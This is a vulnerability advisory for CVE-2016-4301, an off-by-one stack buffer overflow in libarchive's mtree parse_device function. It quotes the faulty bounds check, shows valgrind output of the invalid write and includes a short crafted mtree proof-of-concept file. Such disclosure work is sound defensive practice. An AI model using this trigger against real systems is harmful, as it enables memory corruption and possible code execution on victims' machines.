CVE-2016-4301
An exploitable stack based buffer overflow vulnerability exists in the mtree parse_device functionality of libarchive. A specially crafted mtree file can cause a buffer overflow resulting in memory corruption/code execution. An attacker can send a malformed file to trigger this vulnerability.
libarchive 3.1.2
https://github.com/libarchive/libarchive
7.8 - CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H CVSSv3 Calculator: https://www.first.org/cvss/calculator/3.0
Vulnerable code exists in mtree support format module:
libarchive\archive_read_support_format_mtree.c:
Line 1353 static int
Line 1354 parse_device(dev_t *pdev, struct archive *a, char *val)
Line 1355 {
Line 1356 #define MAX_PACK_ARGS 3
Line 1357 unsigned long numbers[MAX_PACK_ARGS];
Line 1358 char *p, *dev;
Line 1359 int argc;
Line 1360 pack_t *pack;
Line 1361 dev_t result;
Line 1362 const char *error = NULL;
(...)
Line 1377 while ((p = la_strsep(&dev, ",")) != NULL) {
Line 1378 if (*p == '\0') {
Line 1379 archive_set_error(a, ARCHIVE_ERRNO_FILE_FORMAT,
Line 1380 "Missing number");
Line 1381 return ARCHIVE_WARN;
Line 1382 }
Line 1383 numbers[argc++] = (unsigned long)mtree_atol(&p);
Line 1384 if (argc > MAX_PACK_ARGS) {
Line 1385 archive_set_error(a, ARCHIVE_ERRNO_FILE_FORMAT,
Line 1386 "Too many arguments");
Line 1387 return ARCHIVE_WARN;
Line 1388 }
Line 1389 }
In line 1357 we see definition of static buffer prepared to contain 3 elements. Next in while loop in lines 1377-1389 exist condition (line 1384) which should protect against overflowing “numbers” buffer but this condition is wrong and allows to overflow buffer with one element. Depending on platform and architecture, size of overwrite can be 4 or 8 bytes with content fully controlled.
icewall@ubuntu:~/bugs/libarchive-gdb$ uname -a
Linux ubuntu 3.19.0-33-generic #38~14.04.1-Ubuntu SMP Fri Nov 6 18:17:28 UTC 2015
x86_64 x86_64 x86_64 GNU/Linux
icewall@ubuntu:~/bugs/libarchive-gdb$ valgrind --tool=exp-sgcheck bin/ext_mtree
libarchive_mtree_parse_device_buffer_overflow.mtree
==42519== exp-sgcheck, a stack and global array overrun detector
==42519== NOTE: This is an Experimental-Class Valgrind Tool
==42519== Copyright (C) 2003-2013, and GNU GPL'd, by OpenWorks Ltd et al.
==42519== Using Valgrind-3.10.0.SVN and LibVEX; rerun with -h for copyright info
==42519==
==42519== Invalid write of size 8
==42519== at 0x432A8B: parse_device (archive_read_support_format_mtree.c:1383)
==42519== by 0x432D92: parse_keyword (archive_read_support_format_mtree.c:1469)
==42519== by 0x4328A4: parse_line (archive_read_support_format_mtree.c:1318)
==42519== by 0x432026: parse_file (archive_read_support_format_mtree.c:1097)
==42519== by 0x431F4B: read_header (archive_read_support_format_mtree.c:1064)
==42519== by 0x407934: _archive_read_next_header2 (archive_read.c:645)
==42519== by 0x407A07: _archive_read_next_header (archive_read.c:683)
==42519== by 0x44FEFF: archive_read_next_header (archive_virtual.c:148)
==42519== by 0x402F52: extract (ext.c:55)
==42519== by 0x403048: main (ext.c:83)
==42519== Address 0xffefffb28 expected vs actual:
==42519== Expected: stack array "numbers" of size 24 in this frame
==42519== Actual: unknown
==42519== Actual: is 0 after Expected
==42519==
Too many arguments
==42519==
==42519== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 4 from 4)
#mtree
fil type=file device=386bsd,1,2,3,4702111234474983745
2016-04-19 - Vendor Disclosure
2016-06-18 - Public Release
Discovered by Marcin ‘Icewall’ Noga of Cisco TALOS